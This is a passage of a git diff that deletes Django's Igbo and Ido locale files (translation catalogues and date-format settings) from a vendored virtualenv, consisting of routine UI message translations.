gha aburiri n’agbata {min_days} na {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Onweghi faịlụ a debanyere. Lee ụdị encoding a ntinye na ederede." - -msgid "No file was submitted." -msgstr "E nweghị faịlụ e watara" - -msgid "The submitted file is empty." -msgstr "O nweghị ihe dị n'ime faịlụ e wetara" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Gbaa mbọ hụ na aha faịlụ a nwere kacha %(max)d odide (o nwere %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Biko nyefee faịlụ a ma ọ bụ tinye akara na igbe akara, ọ bụghị ha abụọ." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Bugote foto n’zuru oke. Faịlụ a ị bugoro abụghị foto ma ọ bụ foto rụrụ arụ." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Họrọ ezigbo nhọrọ. %(value)sabụghị otu nhọrọ n'ime nke dịnụ." - -msgid "Enter a list of values." -msgstr "Tinye ndepụta nke ụkpụrụ." - -msgid "Enter a complete value." -msgstr "Tinye uru zuru okè" - -msgid "Enter a valid UUID." -msgstr "Tinye UUID kwesịrị ekwesị" - -msgid "Enter a valid JSON." -msgstr "Tinye JSON kwesịrị ekwesị" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Ebe ezoro ezo%(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "Data ManagementForm na-efu efu ma ọ bụ a kpara ya aka" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Biko nyefee %d ma ọ bụ fomụ di ole na ole." - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "Biko nyefee%d ma ọ bụ fomụ karịrị otu ahụ" - -msgid "Order" -msgstr "Usoro" - -msgid "Delete" -msgstr "Hichapụ" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Biko dozie data oji abuo a maka %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Biko dozie data oji abuo a maka %(field)s, nke gha diriri iche." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Biko dozie data oji abuo a maka %(field_name)s nke gha diriri iche maka " -"%(lookup)s n'ime %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Biko dozie uru oji abuo nke no n'okpuru." - -msgid "The inline value did not match the parent instance." -msgstr "Uru inline a adabaghị na parent instance." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Họrọ ezigbo nhọrọ. Nhọrọ a abụghị otu nhọrọ dịnụ." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "%(pk)sabụghi uru kwesịrị ekwesị" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s enweghị ike ịkọwa na mpaghara oge %(current_timezone)s; onwere " -"ike iju anya ma obu ọ gaghị adị." - -msgid "Clear" -msgstr "Kpochapu" - -msgid "Currently" -msgstr "Ugbu a" - -msgid "Change" -msgstr "Gbanwee" - -msgid "Unknown" -msgstr "Ihe N’amaghi" - -msgid "Yes" -msgstr "Ee" - -msgid "No" -msgstr "Mba" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ee, mba, nwere ike" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "etiti Abalị" - -msgid "noon" -msgstr "Ehihie" - -msgid "Monday" -msgstr "Mọnde" - -msgid "Tuesday" -msgstr "Tiuzdee" - -msgid "Wednesday" -msgstr "Wenezdee" - -msgid "Thursday" -msgstr "Tọọzdee" - -msgid "Friday" -msgstr "Fraịdee" - -msgid "Saturday" -msgstr "Satọdee" - -msgid "Sunday" -msgstr "Mbọsi Uka" - -msgid "Mon" -msgstr "Mọnde" - -msgid "Tue" -msgstr "Tiu" - -msgid "Wed" -msgstr "Wen" - -msgid "Thu" -msgstr "Tọọ" - -msgid "Fri" -msgstr "Fraị" - -msgid "Sat" -msgstr "Sat" - -msgid "Sun" -msgstr "Ụka" - -msgid "January" -msgstr "Jenụwarị" - -msgid "February" -msgstr "Febrụwarị" - -msgid "March" -msgstr "Maachị" - -msgid "April" -msgstr "Eprel" - -msgid "May" -msgstr "Mee" - -msgid "June" -msgstr "Juun" - -msgid "July" -msgstr "Julaị" - -msgid "August" -msgstr "Ọgọọst" - -msgid "September" -msgstr "Septemba" - -msgid "October" -msgstr "Ọktoba" - -msgid "November" -msgstr "Novemba" - -msgid "December" -msgstr "Disemba" - -msgid "jan" -msgstr "jen" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "maa" - -msgid "apr" -msgstr "epr" - -msgid "may" -msgstr "mee" - -msgid "jun" -msgstr "juu" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ọgọ" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "ọkt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dis" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jenụwarị" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Maachị" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Eprel" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mee" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Juun" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julaị" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ọgọ." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Ọkt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dis." - -msgctxt "alt. month" -msgid "January" -msgstr "Jenụwarị" - -msgctxt "alt. month" -msgid "February" -msgstr "Febrụwarị" - -msgctxt "alt. month" -msgid "March" -msgstr "Maachị" - -msgctxt "alt. month" -msgid "April" -msgstr "Eprel" - -msgctxt "alt. month" -msgid "May" -msgstr "Mee" - -msgctxt "alt. month" -msgid "June" -msgstr "Juun" - -msgctxt "alt. month" -msgid "July" -msgstr "Julaị" - -msgctxt "alt. month" -msgid "August" -msgstr "Ọgọọst" - -msgctxt "alt. month" -msgid "September" -msgstr "Septemba" - -msgctxt "alt. month" -msgid "October" -msgstr "Ọktoba" - -msgctxt "alt. month" -msgid "November" -msgstr "Novemba" - -msgctxt "alt. month" -msgid "December" -msgstr "Disemba" - -msgid "This is not a valid IPv6 address." -msgstr "Nke a abaghị adresị IPv6 zuru oke." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ma obu" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d afọ" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%dọnwa" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d izu" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d ụbọchị" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d awa" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d nkeji" - -msgid "Forbidden" -msgstr "Amachibidoro" - -msgid "CSRF verification failed. Request aborted." -msgstr "Nyocha CSRF emeghị nke ọma. Ajuju atọrọ.." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"I na-ahụ ozi a n'ihi na saịtị HTTPS a chọrọ “Onye isi okwu” ka ihe nchọgharị " -"weebụ gị zitere gị, mana onweghi nke zitere. Achọrọ isi ihe a maka ebumnuche " -"nchekwa, iji jide n’aka na ndị ọzọ anaghị egbochi ihe nchọgharị gị." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ọ bụrụ na ihazila ihe nchọgharị gị iji gbanyụọ ndị na-eji “ndị nnọchianya”, " -"biko jisie iketiachi ya, ma ọ dịkarịa maka saịtị a, ma ọ bụ maka njikọ " -"HTTPS, ma ọ bụ maka a arịrịọ “otu ụdị”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Ọ bụrụ na ị na-eji akara " -"mmado ma ọ bụ gụnyere isi nke \"Iwu-Onye na gba ama: neweghị onye na-gba ama" -"\", biko wepu ha. Nchedo CSRF chọrọ ka isi “onye na gba ama” wee mee nyocha " -"ike nlele nke gbara ama. Ọ bụrụ na ihe gbasara gị gbasara nzuzo, jiri ụzọ " -"ọzọ dị ka njikọ maka saịtị ndị ọzọ." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"I na-ahụ ozi a n'ihi na saịtị a chọrọ CSRF cookie mgbe ị na-edobe akwụkwọ. " -"Achọrọ cookie a maka ebumnuche nchekwa, iji hụ na ndị ọzọ anaghị egbochi ihe " -"nchọgharị gị." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ọ bụrụ na ịhazila ihe nchọgharị gị iji gbanyụọ kuki, biko tiachi ya ka o na " -"ruo oru, opekata mpe maka saịtị a, ma ọ bụ maka “otu ụdị\"." - -msgid "More information is available with DEBUG=True." -msgstr "Ihe omuma ndi ozo di na DEBUG = Eziokwu." - -msgid "No year specified" -msgstr "Ọ dịghị afọ akọwapụtara" - -msgid "Date out of range" -msgstr "Ubọchị a puru na usoro" - -msgid "No month specified" -msgstr "Onweghị ọnwa akọwapụtara" - -msgid "No day specified" -msgstr "Onweghi ụbọchị akọwapụtara" - -msgid "No week specified" -msgstr "Onweghi izu akọwapụtara" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr " %(verbose_name_plural)sadịghị" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Ọdịnihu %(verbose_name_plural)s adịghị adị n'ihi %(class_name)s.allow_future " -"bu ugha." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "String ụbọchị nabaghị uru “%(datestr)s” Ntọala enyere “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Mba %(verbose_name)s hụrụ ihe dabara na ajụjụ a" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Peeji a a-abụghị “nke ikpeazụ”, a pụghị ịgbanwe ya na int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Peeji na-abaghị uru (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tọgbọ chakoo ndepụta na “%(class_name)s.allow_empty” bụ Ugha." - -msgid "Directory indexes are not allowed here." -msgstr "Anaghị anabata directory indexes ebe a." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” a dịghị" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index of %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" -"Django: usoro Ntanetị maka ndị na-achọkarị izu okè ya na oge edetu imecha." - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Lee akwukwo e bipụtara maka Django" -"%(version)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Nwụnye ahụ dabara nke ọma! Ị mere nke ọma!" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"I na-ahụ peeji a n'ihi na DEBUG=True dị na faili setting gị mana ịhazibeghị URL ọ bụla." - -msgid "Django Documentation" -msgstr "Akwụkwọ Ederede Django" - -msgid "Topics, references, & how-to’s" -msgstr "Isiokwu, ntụaka, & otu esi-mee" - -msgid "Tutorial: A Polling App" -msgstr "Nkuzi: App Ntuli Aka" - -msgid "Get started with Django" -msgstr "Bido na Django" - -msgid "Django Community" -msgstr "Obodo Django" - -msgid "Connect, get help, or contribute" -msgstr "Jikọọ, nweta enyemaka, ma ọ bụ tinye aka." diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ig/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ig/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ig/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ig/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index fe2054e2..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ig/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ig/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ig/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index b70c7ede..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ig/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ig/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ig/formats.py deleted file mode 100644 index cb0b4de5..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ig/formats.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "P" -DATETIME_FORMAT = "j F Y P" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d.%m.%y", # '25.10.06' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/io/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/io/LC_MESSAGES/django.mo deleted file mode 100644 index 79b81f4a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/io/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/io/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/io/LC_MESSAGES/django.po deleted file mode 100644 index d14d5449..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/io/LC_MESSAGES/django.po +++ /dev/null @@ -1,1231 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Viko Bartero , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Ido (http://www.transifex.com/django/django/language/io/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: io\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "العربية" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Azərbaycanca" - -msgid "Bulgarian" -msgstr "български" - -msgid "Belarusian" -msgstr "беларуская" - -msgid "Bengali" -msgstr "বাংলা" - -msgid "Breton" -msgstr "Brezhoneg" - -msgid "Bosnian" -msgstr "босански" - -msgid "Catalan" -msgstr "Català" - -msgid "Czech" -msgstr "čeština" - -msgid "Welsh" -msgstr "Cymraeg" - -msgid "Danish" -msgstr "dansk" - -msgid "German" -msgstr "Deutsch" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Ελληνικά" - -msgid "English" -msgstr "English" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "British English" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Español" - -msgid "Argentinian Spanish" -msgstr "Español de Argentina" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Español de México" - -msgid "Nicaraguan Spanish" -msgstr "Español de Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Español de Venezuela" - -msgid "Estonian" -msgstr "Eesti" - -msgid "Basque" -msgstr "Euskara" - -msgid "Persian" -msgstr "فارسی" - -msgid "Finnish" -msgstr "Suomi" - -msgid "French" -msgstr "Français" - -msgid "Frisian" -msgstr "Frysk" - -msgid "Irish" -msgstr "Gaeilge" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Galego" - -msgid "Hebrew" -msgstr "עברית" - -msgid "Hindi" -msgstr "हिन्दी" - -msgid "Croatian" -msgstr "hrvatski" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Magyar" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Bahasa Indonesia" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Íslenska" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "日本語" - -msgid "Georgian" -msgstr "ქართული" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Қазақша" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannaḍa" - -msgid "Korean" -msgstr "한국어" - -msgid "Luxembourgish" -msgstr "Lëtzebuergesch" - -msgid "Lithuanian" -msgstr "Lietuvių" - -msgid "Latvian" -msgstr "Latviešu" - -msgid "Macedonian" -msgstr "Македонски" - -msgid "Malayalam" -msgstr "മലയാളം" - -msgid "Mongolian" -msgstr "Монгол" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "Burmese" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "नेपाली" - -msgid "Dutch" -msgstr "Nederlands" - -msgid "Norwegian Nynorsk" -msgstr "Norsk nynorsk" - -msgid "Ossetic" -msgstr "Ossetic" - -msgid "Punjabi" -msgstr "ਪੰਜਾਬੀ" - -msgid "Polish" -msgstr "Polski" - -msgid "Portuguese" -msgstr "Português" - -msgid "Brazilian Portuguese" -msgstr "Português do Brasil" - -msgid "Romanian" -msgstr "Română" - -msgid "Russian" -msgstr "Русский" - -msgid "Slovak" -msgstr "Slovenčina" - -msgid "Slovenian" -msgstr "Slovenščina" - -msgid "Albanian" -msgstr "Shqip" - -msgid "Serbian" -msgstr "Српски / srpski" - -msgid "Serbian Latin" -msgstr "Serbian Latin" - -msgid "Swedish" -msgstr "Svenska" - -msgid "Swahili" -msgstr "Kiswahili" - -msgid "Tamil" -msgstr "தமிழ்" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Thai" -msgstr "ไทย" - -msgid "Turkish" -msgstr "Türkçe" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Удмурт" - -msgid "Ukrainian" -msgstr "Українська" - -msgid "Urdu" -msgstr "اُردُو" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Tiếng Việt" - -msgid "Simplified Chinese" -msgstr "简体中文" - -msgid "Traditional Chinese" -msgstr "繁體中文" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Skribez valida datumo." - -msgid "Enter a valid URL." -msgstr "Skribez valida URL." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "Skribez valida e-posto adreso." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Skribez valida IPv4 adreso." - -msgid "Enter a valid IPv6 address." -msgstr "Skribez valida IPv6 adreso." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Skribez valida adreso IPv4 od IPv6." - -msgid "Enter only digits separated by commas." -msgstr "Skribez nur cifri separata per komi." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Verifikez ke ica datumo esas %(limit_value)s (olu esas %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Verifikez ke ica datumo esas minora kam od egala a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Verifikez ke ica datumo esas majora kam od egala a %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Verifikez ke ica datumo havas %(limit_value)d litero adminime (olu havas " -"%(show_value)d)." -msgstr[1] "" -"Verifikez ke ica datumo havas %(limit_value)d literi adminime (olu havas " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Verifikez ke ica datumo havas %(limit_value)d litero admaxime (olu havas " -"%(show_value)d)." -msgstr[1] "" -"Verifikez ke ica datumo havas %(limit_value)d literi admaxime (olu havas " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Skribez numero." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "e" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Ica feldo ne povas esar nula." - -msgid "This field cannot be blank." -msgstr "Ica feldo ne povas esar vakua." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "La %(model_name)s kun ica %(field_label)s ja existas." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Feldo de tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Booleano (True o False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (til %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Integri separata per komi" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Dato (sen horo)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Dato (kun horo)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Decimala numero" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "E-postala adreso" - -msgid "File path" -msgstr "Arkivo voyo" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Glitkomo numero" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Integro" - -msgid "Big (8 byte) integer" -msgstr "Granda (8 byte) integro" - -msgid "IPv4 address" -msgstr "IPv4 adreso" - -msgid "IP address" -msgstr "IP adreso" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (True, False o None)" - -msgid "Positive integer" -msgstr "Positiva integro" - -msgid "Positive small integer" -msgstr "Positiva mikra integro" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (til %(max_length)s)" - -msgid "Small integer" -msgstr "Mikra integro" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Horo" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Kruda binara datumo" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Arkivo" - -msgid "Image" -msgstr "Imajo" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Exterklefo (la tipo esas determinata per la relatata feldo)" - -msgid "One-to-one relationship" -msgstr "Un-ad-un parenteso" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Multi-a-multi parenteso" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Ica feldo esas obligata." - -msgid "Enter a whole number." -msgstr "Skribez kompleta numero" - -msgid "Enter a valid date." -msgstr "Skribez valida dato." - -msgid "Enter a valid time." -msgstr "Skribez valida horo." - -msgid "Enter a valid date/time." -msgstr "Skribez valida dato/horo." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nula arkivo sendesis. Verifikez la kodexigo tipo en la formulario." - -msgid "No file was submitted." -msgstr "Nula arkivo sendesis." - -msgid "The submitted file is empty." -msgstr "La sendita arkivo esas vakua." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Verifikez ke ica dosiero nomo havas %(max)d skribsigno admaxime (olu havas " -"%(length)d)." -msgstr[1] "" -"Verifikez ke ica arkivo nomo havas %(max)d skribsigni admaxime (olu 